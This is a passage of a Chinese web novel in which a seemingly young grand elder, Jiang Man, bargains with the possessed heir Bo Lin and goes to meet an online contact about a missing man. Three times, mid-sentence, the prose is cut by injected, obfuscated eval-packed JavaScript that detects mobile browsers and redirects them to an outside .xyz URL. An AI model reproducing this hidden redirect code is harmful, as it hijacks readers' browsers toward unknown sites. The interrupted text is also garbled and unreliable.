姜满瞥了他一眼,“我不会死的,拔吧。” 她不会死,这话换成任何人可信度都不高,可偏偏,她是大长老。 张云汉犹豫地伸出手,“那……” “拔!” 张云汉硬着头皮,抓紧那根断枝,咬牙用力。 噗呲—— 姜满倒吸一口气。 草!真踏马疼! 她都快忘了上一次伤得这么重是什么感觉了,不过那时和现在不一样,那时候,那个人是要杀她。 一阵眩晕感传来,她站立不稳,倒了下去,却正好让那个车祸昏迷的男人成了人肉垫子。 那男人胸口受到突然的压力,紧接着一阵轻咳,竟然醒了过来。 张云汉握着那截断枝,手心全是汗,紧张地看向那个睁眼的男人。 二人大眼瞪小眼,姜满则伏在那男人身上闭目休息。 “你、你你,你是人是鬼?” 张云汉惊魂未定,一时没反应过来现在醒过来的,是本尊,还是那个附体邪祟。 男人没有回答,垂眸看向伏在他身上的姜满。 张云汉也不知道是不是自己的错觉,他感觉这男人看大长老的时候,似乎在笑。 姜满并没留意这男人,只是闭着眼睛低声回答张云汉的问题,她实在没有多余的力气去骂一个没用的蠢货,“是他本人。” 这男人又轻咳了两声,虚弱地开口,“我叫薄临,你们是……” “你的救命恩人。” 4. 第一座山(4) 灰蒙蒙的大雾,世界变得虚幻,一切都那么不真实。 姜满记起,自己是在雾里的,但后来,她开了车,撞了车,然后…… 怎么又回到了雾中?比那条路上还要浓的雾,什么都看不见,什么都没——那是…… 久违的,浓雾中的几个人影,像是幻觉,有重叠,又分开,忽聚忽散,远远的,怎么也走不近,怎么也看不清。 是那些和她一样的人!一样受到[空]音诅咒的人! 她又梦见了,她终于…… “我不想忘!” “我也不想!” “你说失去一切记忆的人,还是那个人吗?” “没有记忆就什么也没有了!” “我倒没那么在意,我觉得这和生老病死轮回转世没什么区别,而且,我们还不用老,不是吗?” “你懂什么!” …… 嘈杂的声音,是这些人影的声音,他们还和从前一样,无休止的争论、叫喊、哭泣,姜满只有很仔细,才能听到她想要的信息。 “按[空]音说的去做,去超度,就能保住记忆。” “你疯了吗?这根本就是陷阱,让我们忘记一切的陷阱!长生是有代价的!这就是代价!” “我宁愿不要长生,我都不知道我到底是谁……” 姜满开口问道:“那个超度的办法,你们有没有人成功过?” 一阵短暂的沉默,一个遥远的声音回答: “我试过。” “成功了吗?”姜满连忙追问。 “我……” 狂风骤起,四散的碎发迷了姜满的眼睛,风声逐渐在耳边呼啸,一阵盖过一阵,那些人影好像也被吹散了,但这浓雾,像是固化一般,一点变化也没有。 “成功了吗?”她着急的喊着。 人声散落去梦境的角落,四周恢复了一片寂静,继而眼前一切,归拢于黑暗。 姜满缓缓睁开眼睛。 “你的救命恩人。” 她想起她睡着前的最后一句话,说完之后,她就这么伏在薄临身上睡着了,此刻醒来,她已然身在医院,只是这医院和她认知中的完全不同。 身下是柔软的床褥,床头柜上冒着烟气的似乎是叫加湿器,空气里还有淡淡的安神熏香气味;两扇窗户下是一张米白色的沙发,沙发前摆着一张玻璃茶几,茶几左边整齐的摆放着未使用过的茶具。 如果不是手上的针连着床上空挂着的吊瓶,她几乎想不到这里是哪儿。 这世界真是变了。 门被推开了,进来的是张云汉。 “大、大长老!”他看见睁开眼的姜满,愣了愣,面露喜色,“您这么快就醒了,我还以为您……” 姜满揉了揉眉尾,“后来怎么处理的?” 张云汉迅速简述了一下事情的经过,她才知道,这里是薄家的私人医院。 她昏睡过去之后,张云汉联系院里解决了事故问题,接着经过一番沟通,考虑到涉及灵异事件,薄临开口提议,然后打了个电话,两个伤者就被送到了这里。 薄临在隔壁病房,好像还没醒。 “原来那个薄临就是归山集团的公子,真没想到,妥妥富二代啊……”张云汉意犹未尽的嘀咕着。 姜满似乎并不在意这个薄临的身份,问道:“他身上的那东西呢?” 张云汉缩着脖子,低声回答:“没有您的指令,我没敢动。” 姜满抬头看了他一眼,“嗯,做的不错。”她四下看了看,问道:“我的包呢?” 张云汉听了这句“做的不错”,心里莫名的有些雀跃,忙不迭上前打开柜子,取出姜满的包,双手递给了姜满。 “那,大长老,我们什么时候帮那个薄临解决附体邪祟的事?……哎大长老您怎么……” 姜满接过包,顺手拔了针头,掀开被子,拎着包走到沙发边,取出一包坚果零食。 她斜坐在沙发上,看着窗外,一边撕开坚果袋包装,一边说道:“为什么要帮他解决附体邪祟?死不了就行,其他的,关我什么事?” “可是……”张云汉还想说什么。 姜满像是想到什么,抬手止住了他的话,“你也别在这儿闲着了,准备准备,我还要带你去个地方。” “去、什么地方?” “离紫微山不远,大概是个村子吧,感觉住了不少人,那里阴气挺重的,如果不是这个薄临,我们应该早就到了。” 张云汉还有些犹豫,毕竟身为玄人,他有一种油然而生的责任感,遇到附体邪祟却不解决,他总觉得不舒服,但他也不想忤逆姜满,权衡之下,还是问道:“那大长老,我要准备什么?” “去帮我买部手机,要最新的最好的,另外,再备辆车,之前那辆我不喜欢,至少买一辆四驱的,我喜欢蓝色,有了车我们出行也方便些。”她想了想又补了一句,“对了,你说的那个什么证,也给我弄一个来。” 张云汉咽了咽口水,“大、大长老。” “怎么了?” “我没有那么多钱,而且那个证,弄不了,只能您亲自报名去考。” 姜满皱起眉头,“没钱?找天一道要啊!” 张云汉苦着脸,“大长老,经费有限,院里有规定,给不了那么多,您这次住院肯定要花不少钱,我们挺缺钱的,还是省着点,就开原来那辆,然后手机……我再想想办法……” 姜满没说话。 张云汉岔开话题,“不过大长老,您好的真快,送到医院的时候,医生根本不相信您胸口被树枝贯穿过,要不是衣服上有破洞和血迹,我都要怀疑自己的记忆力了。” 姜满看着他,又像没看着他,“嗯,我说过,我死不掉。” “您……真的不管薄临身上那个邪祟了?您好不容易救下他,我感觉您,应该很在乎他……” 姜满倏地站了起来,“本来不想管的,但现在,我改主意了。” 她朝门外走去,打开门后,手在门把手上顿了顿,往走廊拐角瞥了一眼,继而不以为意地收回目光。 拐角之后,是一个年轻女护士,她没敢再探头看一眼,刚才要不是她反应快,说不定在门口就要被抓个现行。 现在必须马上回去,把她知道的一切汇报一下,只可惜,似乎没偷听到什么有用的信息,不过,有一点,她很确定…… 玄人界,要变天了。 张云汉跟着姜满来到了薄临的病房,因为姜满这个救命恩人的身份得到了薄临的亲口承认,所以守在门口的两个黑衣男人也没有阻拦,直接放二人进去了。 “……恩人。”薄临也醒了,看见姜满很是惊喜,支起身子,向她微微点头。 姜满看着他,“我听说,我住这里,要付钱?”说着,她悠哉地继续吃着刚才那包撕开坚果零食。 薄临的气色仍是不好,好像个久病的患者,但却没有颓败感,只是脸色苍白,不见半点血色,他的肩膀上裹着厚厚的纱布,手上挂着吊瓶。 “怎会?我怎么可能要你们出钱?你们想住多久都行。” 他彬彬有礼,伸出手,示意姜满请坐。 姜满没有坐,摆摆手,“倒不用住下去了,薄先生,我和你做一笔交易。” 薄临愣了愣,口中低声重复着,“薄先生……” 姜满并没留意,继续说着,“你想必也感觉到了自己不对劲,昨晚,或者说凌晨,你为什么会在大雾天开那么快的车,你还记得吗?” 薄临回过神来,浅浅笑着,语速偏慢,“见笑了,这样深夜或凌晨开车外出的事,已经发生过很多次了,每一次我都不记得,是家里人告诉我的,这一次要不是出了事,我恐怕还是什么都感觉不到。” “嗯,所以我要和你做交易,我帮你解决这个事,你给我一笔钱。” “你需要钱?需要多少,我本就应该酬谢恩人救命之恩的,你——” 姜满打断了他,“我救你,不是为了你,所以你不欠我什么,你不收我住院的钱就足够了,我现在只问你,这笔交易,你要不要做。” 薄临眉眼低垂,嘴角含笑,迟疑片刻,缓缓点头。 姜满点点头,“张云汉。” 张云汉在一旁看薄临看得出了神,之前没留意,只知道这男人相貌出众,如今仔细看来,这人不仅气质儒雅,这张脸竟是让人移不开眼,有一种莫名的……摄人心魄的美? “张云汉!” “啊?”张云汉回过神来,看向姜满。 他又有些疑惑,大长老竟然对这张脸毫无波澜,她看不见吗?还是说这张脸,只吸引……男人? 张云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577487|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汉赶紧甩了甩脑袋,自己都在胡思乱想什么的东西? 姜满看傻子似的瞥了他一眼,“问问清楚。”说罢,她径自走到窗户边,一边吃坚果零食,一边发呆似的看向楼下小桥流水、亭台水廊的花园。 她不确定,之前听到过的超度之法,是否可以套用在这个薄临身上。 [空主]降伏怨灵后,交由玄人超度,[空主]参与其中,但不动手,或许可行。 那个附体邪祟因为车祸撞击,已然被撞出薄临体内,但她怕这东西散了,到时候算在她头上,于是及时将它按了回去。 她回忆起在车子里救薄临的场景,那时薄临卡在了车里,她正用力拉他出来,然后车身晃动,她感觉到了,当时她其实可以带着薄临一起避开那根穿进来的树枝,但是,她走神了。 是那个邪祟。 它飘在车厢内,它是一团白色的影子,灵体大多都是这样的,它们是一种能量,一种肉眼不可见的能量,常人看不见,玄人抓不住,是存在于另一个维度的灵体。 怎么形容呢? 它们就像是镜子里的东西,凡人看不见这面镜子,而玄人终归还是凡体,他们的本能驱使着他们只会去抓镜子,甚至去研究如何穿透镜子,但姜满可以看到镜子外,自然就能抓得到。 但她走神却并不是因为担心这灵体消失,她知道,附体邪祟离体后,通常不会走远,它们依赖固有磁场。 她走神,是因为感觉到了熟悉。 一种莫名的熟悉感。 于她而言,这种熟悉感是可怕的,她的记忆已经长达了四十几年,可她知道,在此之前,她可能已经[空]过无数次了,那现在的她和以前的那么多个她,到底谁是她?她,又是谁? 让人恐惧的,从来都不是未知,是知,却不全知,所以会猜测,会联想,于是恐惧。 她不知道以前的自己是什么样的,但她逐渐有了自我,于是,她不想知道了。 但这邪祟带来的突然的熟悉感,把她的自我撞出了一道裂缝。 那一瞬间的晃神,让她失去了最佳时机,为了保住薄临的命,她只能用自己的身体挡。 所以,她本不想管这件事的,但她需要钱,而且她其实,也很想试一试。 也许张云汉,能成为解开她身上这诅咒的[钥匙]。 她不能成[空],至少,还需要保留六十八年的记忆,她很清楚,留在天一疗养院,根本不安全,在那间屋子里,即便张信德做的再好,依然难以避免会有蟑螂、老鼠、苍蝇……她没有一晚睡得安稳过,她生怕自己在睡梦中杀死一只找死的虫子。 只要活在这个世界上,就很难避免杀死记忆,她必须想办法,才能保住自己的记忆,也是保住她的自我。 张云汉的声音传来,“这些事是什么时候开始的?” 薄临想了想,“有几个月了,具体记不清了。” “那有没有什么特别的契机?比如见了什么奇怪的人?去了什么特别的地方?” 薄临微微皱眉,努力思索着,然后轻轻咳了几声。 “薄先生,你可以慢慢想,你身体还没恢复,这事也不急于一时。”张云汉一边说,一边偷瞄姜满,生怕自己这话说得不合她心意,见她没什么反应,才放下心来。 薄临笑了笑,眼底却闪过一丝反感,谁也没有察觉到的反感。 “不用叫我薄先生这么见外,直接叫我名字就好,薄临。” “嗯,我叫张云汉,那位是大……你还是叫她恩人吧。” “嗯。”薄临继续在思索着张云汉之前的问题,答道:“我想起来了,这么说的确有,就是我那次旅行之后,对,就是那次旅行之后回来,才开始出现这些异常的,其实,这次旅行就很不寻常。” “旅行?您去哪里旅行的?” 薄临有意无意地看了看窗边姜满的背影,然后迅速垂下眼帘,嘴角隐隐带着笑,声音却没有半点异常,答道:“西疆。” 张云汉自然没有发现他的这些动作,只是重复了一遍,“西疆,好远的地方。” 不过他觉得,这些有钱人去哪旅行都不奇怪。 “你说哪里?”姜满突然回过头的质问,把二人吓了一跳。 薄临轻轻咳了两声,看着姜满的眼睛,故作不解,又答了一遍,“西疆。” 5. 第一座山(5) 三十二年前,张信德就是从西疆把姜满接来了檀州市。 她怎么会忘?无论她到底是谁,至少这一次的记忆中,西疆就是她的根,那里有她的家,不……早就已经是“曾经”有了。 可是,西疆,怎么会这么巧? 她快步走到床边,目不转睛地看着薄临。 这一瞬间,无数种可能出现在姜满的心中,梗在喉头,她竟说不出一句话。 “怎、怎么了?”一旁的张云汉有些不安。 姜满像没听到一般向薄临伸出手,透过眼前这个男人,她似乎看到了其他人。 那时在车厢内看到灵体时的那阵熟悉感,好像有了理由。 是啊,[空]怎么可能有错漏?怎么可能还留有什么熟悉感?一旦成[空],就是行走坐卧都会忘,她的认知、她的思想、她的习惯,甚至她的肌肉记忆都会成[空],所以这熟悉感怎么可能来自[空]之前? 她早该想到的。 可是,你会是谁呢?是阿卓?是阿姐?还是阿爸阿妈?还是……为什么要找我?你,是不是一直在等我离开天一道?是不是因为急着要见我,才撞上来? 为什么不等一等,再等六十八年,就能轮回往生,为什么要成为怨灵…… 姜满的手有些颤抖,指尖触碰着薄临有些冰凉的脸颊,完全没有注意到这张脸上,带着笑意看着自己的那双棕色眼眸。 张云汉眼见着姜满的眼眶有些泛红,瞬间心里生出一种六神无主的感觉,带着惊惧,他讷讷出声,“大、大长老……” 姜满没有回答,然后,她的手被握住了,薄临用他修长的手指将她的手包裹进手心。 “我,能帮你什么吗?” 他的声音很轻。 姜满回过神来,抽回手,接着闭上眼缓缓深吸一口气,“你去了西疆哪里?” 薄临按了一下床边一个按钮,床头慢慢被抬高,他艰难地调整了一下睡姿,陷入回忆一般轻声说道: “那次去西疆是为了去拉尔塔格金山的,我身体一直不好,本来家里是不同意我去那么远的,但我一直都很向往拉尔塔格金山,所以几个朋友提议之后,我们一拍即合,没告诉家里就去了。” “拉尔塔格金山……”姜满低声重复着,不觉腿上有些乏力,坐在了薄临的床边。 薄临看了看她,继续说道: “恩人知道拉尔塔格金山?据说,我和朋友们走散的地方,很早以前是个矿区,我也不知道怎么回事,就像是冥冥之中有什么吸引着我,我就独自一人往岩墙深处走,朋友们都没发现我离开了,等我再醒来的时候,就是在西疆弥羌县医院了。 “他们说,我是顺着阿克里木湖飘下来的,救援队发现了岸边昏迷的我,这之前发生了什么,我也不记得了。 “然后我们回到檀州市,我就一直有些浑浑噩噩的,记性也不太好,几乎都要忘记这段旅行了,如果不是你们问起来,我也想不到这段经历。” 张云汉见姜满不说话,随即点点头,“嗯,这样看来,你身上这个附体邪祟,就是来自西疆这段经历的。大长老,您觉得呢?” 姜满再次看向薄临。 这个男人身体的确很弱,不是因为受伤的弱,而是阴虚之气,身体像是亏损的厉害。 她无意去猜测这个人的私生活到底如何混乱,但她很确定,他的身体,很适合灵体附身,如果他说的都是真的,那么他身体里那个灵,一定是她的家人之一,只是它现在因为之前那次撞击,被迫离体,力量很弱,需要时间恢复。 她像是下定了什么决心,开口对薄临说:“你身上的附体邪祟有些麻烦,接下来,你必须跟在我身边,我可以等你身体恢复一些,但我不能一直待在这儿,你要跟我走。” 一旁的张云汉听得眼睛都瞪大了,立刻将视线移向薄临,却见他抿了抿嘴,张云汉一愣。 他这是在憋笑?这小子,不会是看上大长老了吧?大长老这模样确实有吸引力,但怎么看最多也就是个大学生,这个薄临至少二十五六岁了,连学生都不放过,可真是个斯文败类啊!不过大长老也不对劲,一把年纪,又这样,又那样……难道是两情相悦?不会吧…… 张云汉越想越害怕,赶紧垂下眼,生怕被姜满瞧出什么不对劲。 薄临想了想,开口问道:“我能不能问一问,你们是做什么的?我要……跟你们去哪儿?” “你不能问。”姜满站了起来,往门口走去,“好好休息,尽快启程。” 张云汉紧跟着她离开了薄临的病房。 看着二人离开,薄临嘴角缓缓上扬,不多会儿,一只白底墨绿色羽翼的雀鸟停在了窗玻璃外的窗台上。 薄临动了动手指,窗户竟自动打开了一条缝,雀鸟飞了进来,落地的瞬间,竟幻化成人形,变成了一位穿着白大褂的男医生。 “山主,事情结束了吗?现在……能取出来了吗?”医生看了一眼薄临肩膀裹得厚厚的纱布,他忧心那截扎进肩头的断枝,毕竟只去掉了看得见的部分,深入的还在皮肉里面,没有挪动半分。 薄临微微阖眼,“嗯,还要留几天,她可不好糊弄。” 医生脸色不太好看,却不知道该说些什么,他并不敢质疑薄临的任何决定,可他也是发自内心的敬爱这一位如同尊神一般的人物。 他对薄临的感情很复杂,他觉得自己像下属,像朋友,也像家人。 “我的地方,混进了脏东西。”薄临语气柔和,“你们从未犯过这种错误,不过,我向来不喜欢追究什么责任,但以后,你们应当留些心。” 医生有些惶恐地垂下头,“是。” 他知道薄临口中的脏东西指的是玄人,但玄人不可能发现归山派的事,那么潜伏到医院的这一个,必然是狡猾的玄人无差别安插在市里各处的眼线。 玄人总是这样的,他们自诩维护人世间的和平与稳定,瞧瞧这用词,人世间,就好像这个世界只能是人的。 “需要把那个人处理了吗?”他问了一句。 薄临摇摇头,接着抬眼看了看他,微笑道:“别对人有那么大敌意,和妖一样,人也分好坏。” “山主说的是。”医生发自内心的谦卑,垂头应道。 “安排一下,那个李秀娟……” 医生补充道:“山主,她现在叫李妆娇。” 薄临看起来并不愿意提到这个人,“嗯,让人联系一下,近期可以让她出现了。” 医生点头。 薄临闭上眼,“你去吧,好好做人。” 医生拢了拢白大褂,恭敬地朝薄临鞠了一躬,然后开门离开了。 他不喜欢人,但也做人很久了,后来,他像人一样,读书,考学,然后成为了医生,山主说,太喜欢人的,做不了好医生,事实证明,山主永远是对的,他做医生做的不错。 - 跟着姜满回到病房的张云汉感觉自己的脑子回来了,他猜到了姜满的打算,并选择闭嘴顺从。 很现实的问题,小祖宗难养。 他们缺钱,薄临有钱,与其给薄临解决了附体邪祟拿一大笔钱,不如以此为借口,把人带在身边。道德上讲,有些卑鄙,但张云汉私心里本就有些畏惧与姜满独处,何况这主意又不是他出的,他不过是个听命办事的。 接下来的时间,张云汉算是见识了有钱也许并不是万能的,但很有钱,真的万能。 这个归山集团小公子薄临,出于对姜满救命之恩的感激也好,出于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577488|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对她的“爱意”也好,总之,姜满提出的要求,他是无有不应的。 一周时间,该准备的东西准备了,不该准备的,也准备了不少。 一周后的中午,薄临肩上换好药后,与姜满张云汉二人一起离开了医院。 姜满手中这辆车,堪称完美,四驱越野,方形车身,贴了浅蓝色的车膜,像一辆大玩具,帅气又拉风。 这几日她已经试过几次手了,她很满意,对车,也对人。 薄临的身体很不错,不过只是对灵而言很不错,实际上,她能把它按进去,想揪出来却并不容易,灵附体后,就会变得像鱼一样,从维度概念转而为单纯难抓。 对灵而言,人体就像是水,入了水的灵就像是水里的鱼,很难被抓住。 人有阳气,阳气愈盛,这“水”就会像熔岩一般变成灵的炼狱,反之,就是灵的天堂。 薄临显然属于后者,但他毕竟是活人,世间万物皆分阴阳,阳中有阴,阴中有阳,寻常活人无法成为极阴之体,即便有办法,姜满也做不出这种损德的事。 所以她需要想办法。 薄临这池“水”是附体灵自己选的,而这个附体灵对姜满的意义,显然比薄临重要的多,她原本只要不管就可以,附体灵会选择最合适的宿主,即便因为外力撞击而被迫离体受伤,也迟早会恢复。 但,她对薄临总是有一种类似心虚的感觉,却也没有这个词所表达的那么严重,只是,这种感觉让她很不爽。 她用他的钱,可他不欠她什么。 她不帮他解决附体邪祟,这没什么,这并不是她的责任,但她要保护这个邪祟,甚至利用他养护这个邪祟,不,她并不想称呼它为“邪祟”,所以她更迫切的想要它恢复,想要与它交流。 “大长老,这……不是去紫微山的路吧?”张云汉迷迷糊糊睡了一觉,醒来看了看车窗外,不禁喃喃开口。 眼前的路越来越偏,也越来越荒,这样的地方在城市里并不多见,所以,大长老这是要去哪儿? 姜满没有理他,专心地开着车。 在薄临的安排下,她用了一天时间,通过了所谓的考试,取得了张云汉口中的资格证书,这辆车也是属于她的,是薄临对于救命之恩的报答,所以驾驶权理所应当也属于她。 她本应该避免自己开车,毕竟她很难保证这一路上,不会撞死会轧死什么虫子,但车上一个病号薄临,一个蠢货张云汉,她都不放心,且,她有自己想去的地方。 张云汉有些不安,看了看坐在他身旁的薄临,又看向前排驾驶座上的姜满,伸手推了推鼻梁上的眼镜,“您不是说,要去紫微山附近的那个小区吗?” 姜满说的是个村子,是她一周前刚下山就打算去的地方,也是她此刻原目的地。张云汉已经和她解释过,这样的地方现在叫小区,住很多人,有很多栋外观相似的楼房,有绿化,有大门,有名字。 但姜满觉得,这就是村子。 “不去了。”姜满随口答道。 薄临穿着白色细条纹的衬衫,领口微微敞开,身上散发着淡淡的病房里那种特殊熏香的味道,他的气色仍然不好,苍白一张脸,看着就病怏怏的,但却实在好看,配上他惯有的温文尔雅的微笑,阳光透过车窗洒在他的脸上,使得他的脸近乎透明,是一种古怪的美好破碎的美。 他就这样在后座静静看着姜满,一言不发,心里不知在想些什么。 张云汉打开手机地图看了看现在的位置,“不、不去了?那我们现在去哪儿?” 现在他们所处的地方,可以说是荒山野岭,人迹罕至。 姜满一手把着方向盘,一手取出零食袋里一颗坚果塞进嘴里,视线仍在路上,口中含糊道:“见网友。” 6. 第一座山(6) 车停在了一大片废弃民房区,四处杂草丛生,矮矮的屋檐下,是灰绿破败的墙,墙上的窗户和门都腐败成了空空的洞。 “你怎么想的,在这种地方见网友?”惊异与疑惑充斥了张云汉的全部思绪,甚至让他忘记了在和谁说话。 姜满依旧没回答,就像刚才在车上,对于张云汉喋喋不休的各种提问的处理方法一样,罔若未闻,置之不理。 她向来没有解释自己行为与决定的习惯,她认为,对蠢人没有必要解释,对聪明人也是。 薄临看张云汉还想追问什么,不由笑着上前拉住他,“定然是约在这里,才会在这里见,总有原因的,你别急,有我们两个在,不必担心,我们等等看。” 他的话合乎常人逻辑,在这样的地方会见网友,还是姜满这样的“小姑娘”,若独自一个人来,的确危险,好在她带着两个男人。 张云汉看看他,欲言又止,而后兀自叹了口气,只恨自己为什么要教会姜满使用那些社交软件。 大长老可是天一道的大长老,必然是实力绝不容小觑的道玄,何况她还说过,要试试他的超度之能,这一趟,怎么可能只是寻常见网友? 姜满看了看时间,几人是午饭之后出发的,现在已是下午四点多。 按照约定时间,她已经迟到了,这人怎么—— “滴滴——” 汽车喇叭的声音,短促的两下,将三人的目光都吸引了过去。 一辆银灰色老式轿车缓缓停下,停在了姜满那辆大车旁边,车子熄火后,主驾副驾同时打开了车门。 和姜满一样,对方也不是独自前来的。 副驾走下来的是个中年人,看上去憨厚老实,面色蜡黄,骨瘦如柴,眼神怯生生的,身体缩着,整个人有些鬼祟的气质。 驾驶座走下来的是个姑娘,齐肩直发,浅色短袖配长裙,五官端正,面若银盘,气质温柔。 二人刚一露面,姜满还没开口,张云汉先震惊了。 “程书韫?” 姜满看了张云汉一眼,“认识?” 张云汉脸色有些古怪,从耳朵梢开始,悄然红了起来。 “她、她是云霆师兄的妹妹,就是那天和我一起去请您出山的云霆师兄,他的妹妹,我、我见过几次。” “云霆?”姜满微微挑眉,“云字辈,不姓张?” 她记性很好,自然记得那个体型壮硕高大,胆子却很小的云字辈小弟子。 张云汉解释道:“是表妹,云霆师兄姓张,但他原来有名字,他和我不同,他不是弃婴,他小时候父母因车祸去世了,家里亲戚条件也不好,所以就……” 姜满并没兴趣知道后面的事,不再搭理他,上前一步问道:“你们俩,谁是‘明人不放暗屁’?” 程书韫伸手将头发捋到耳后,露出一个浅浅的微笑,看向姜满,“是我。” 她的声音也很温柔,又轻又软,像吸满了水的海绵,“小妹妹你……是‘大长老’?” 姜满笑了,像小妹妹一样,“是我。” 张云汉听到两人的对话,表情变化十分有趣。他既想不到程书韫这样的姑娘,竟然网名会叫“明人不放暗屁”,也没想到大长老竟然直接叫大长老。然后,他又听到程书韫称大长老为小妹妹,而大长老竟然还毫不在意。 他的表情实在比这段对话精彩许多。 张云霆的表妹程书韫,年纪三十岁不到,看起来,在她面前的姜满,的确是个小妹妹。 姜满的视线移到那个中年男人身上,问了一句,“所以,你说的那个人,是他?” 程书韫点点头,“是,很容易,只要帮他找个人,我向他确认过,就在这一片。”说着,程书韫走近姜满,在她耳边低声问道:“能不能告诉姐姐,你为什么想要这‘带死气的阳衰之体’?” 姜满朝她笑了笑,却没回答。 这边和薄临站在一起的张云汉有些踟蹰,他又想上前和程书韫搭话,又不知道是不是会唐突。 他心里琢磨着这事,也没仔细听姜满和程书韫的对话,更没留意到那句悄悄话。 这时那个中年男人走了过来,看向姜满,“你好,我叫戴阿福,程书韫说你们能帮我找人,是真的吗?” 这男人很怪,鬼祟中又带着真诚。 姜满看向他,“嗯,你要找谁。” 戴阿福眨眨眼,“我爸爸。” 张云汉闻言抬起头。 这个戴阿福看起来没有五十,也是四十早衰之相了,他爸……那岂不是六七十了?在这里走丢,难道是得了那个阿兹海默症?还是说,他爸已经…… 薄临走到姜满身旁,“找人,我可以帮忙。” 这话不假,他有钱,有钱就有人,可以把这一整片破地方翻个底朝天,连埋在地底下的尸骨也能给找出来。 张云汉看看薄临,又看看姜满,嘴里有话,却不知能不能问出口。 姜满并不理会这些,却把张云汉想问的问出了口,“活的死的?” “当然是……”戴阿福脱口而出,却又迟疑起来,“应该是活的。” 程书韫补充到:“人现在生死不知,但把他弄到这里的,不是活人。” 张云汉心想着,大长老不肯找掌门,他也没办法,但他总要想办法把大长老引上找掌门这条路的,这是他的正事儿,不论大长老想干什么,眼下这件事,到底是和找人有些关系,只当练练手也好,万一大长老找人找上兴趣了呢?毕竟这位小祖宗的想法,谁也琢磨不透。 他又看了看薄临,并未见到想象中的惊惧。 现在在场的几个人,看样子只有薄临不是“业内人士”,自己和大长老自不必说,程书韫也是玄人,这位戴阿福是事主,自然知道是怎么回事,不过,薄临身上有东西,也算是半只脚踏进玄人圈了,没有惊异之色,也属正常。 薄临注意到张云汉的目光,礼貌地朝他微笑。 姜满扫视了一圈在场几人,又低下头看看手机时间。 “如果是这样,你约的时间早了些,看样子,至少还要等三四个小时,天才会黑。” 她在对她的网友说话。 程书韫点点头,“我约了四点见面,主要是想先和你熟悉一下,然后和你一起把这一块都走一遍,只有我们两个人,必须熟悉地形,到时候才不至于像无头苍蝇,再有就是,打算和你商讨一下方案。”她看向张云汉和薄临,“但是没想到你还是个小姑娘,也没想到你带了两个人来。” 几个“业内人士”都知道,天黑了那些东西才会出来,如果戴阿福的爸爸是被那些东西藏起来了,也只有等到天黑,他们这些人才有办法查到线索。 这原理依旧像照镜子,只不过因为维度问题,这面“镜子”是天亮的时候等同于黑灯瞎火。 姜满没应声,看向戴阿福,“有你爸照片吗?” 戴阿福点点头,从上衣心口的口袋里掏出一张小小的照片,递给了姜满。 这是一张蓝底证件照,像是从什么证件上揭下来的,上面还有一小扇钢印。 姜满眉头微蹙,“没有他现在的照片?” 照片上的男人看起来,甚至比戴阿福还年轻,姜满理所当然觉得,这应该是老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577489|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照片。 戴阿福怯生生的,却露出不解的神情,“什么意思?爸爸就长这样啊。” 几人传递着看了照片,面面相觑。 姜满的目光再次落在了戴阿福身上,细细打量着他,半晌,她收回视线,从薄临送给她的小包里拿出一袋坚果零食吃了起来。 “这是修过的照片?”张云汉拿着照片和薄临讨论着。 薄临摇摇头,“这是证件照,即便修图,也不会和本人有太大差距。” 程书韫走到二人身旁,张云汉身子明显一僵,有些不知所措起来。 程书韫说:“我看过这张照片,也问过,我知道你们在想什么,但是事情没那么复杂,这世上本就有很多人长相显老,戴阿福他其实没有看起来那么大,而且,他身体很不好。”说着,她压低声音,“他得了癌症,终末期了,他本来应该在医院的,但……已经快了。” 薄临点点头,“原来如此。” 姜满自然听到了这些话,却没什么反应,将坚果零食倒在手心,里面除了坚果还有些水果果干,她把手中坚果和果干送到戴阿福面前,“吃吗?” 戴阿福看了看,像是很想吃的样子,但还是摇摇头,“不吃。”说完,他又补了一句,“谢谢。” 姜满点点头,又把果仁送到程书韫面前,“明人不放暗屁,你吃吗?” 程书韫有些诧异地看着姜满,“你打算以后就叫我网名吗?”她的声音还是软软的,听起来让人很舒服。 姜满朝她甜甜一笑,“你认识张云汉,你知道他叫我什么吗?” 张云汉这才想起来,他只向姜满介绍了程书韫,却一直没对程书韫介绍姜满,但看到薄临和戴阿福两个外人,他又有些犹豫,于是选择悄悄介绍。 “书韫妹妹,这位是……天一道大长老。”他凑到程书韫耳边,斟酌着得体的距离,轻声说道。 程书韫脸色微变,看向姜满,“你……” 姜满面色无异,仍旧甜甜笑着,“你要是不喜欢你的网名,我也可以叫你姐姐。” 她容貌本就明朗清澈,带着这样的笑容,看起来更像一个不谙世事的少女了。 程书韫有些哑然,平复了一下心绪,说:“倒不是不喜欢,只是人前这样称呼,总有些不雅,你……想叫什么就叫什么吧。” 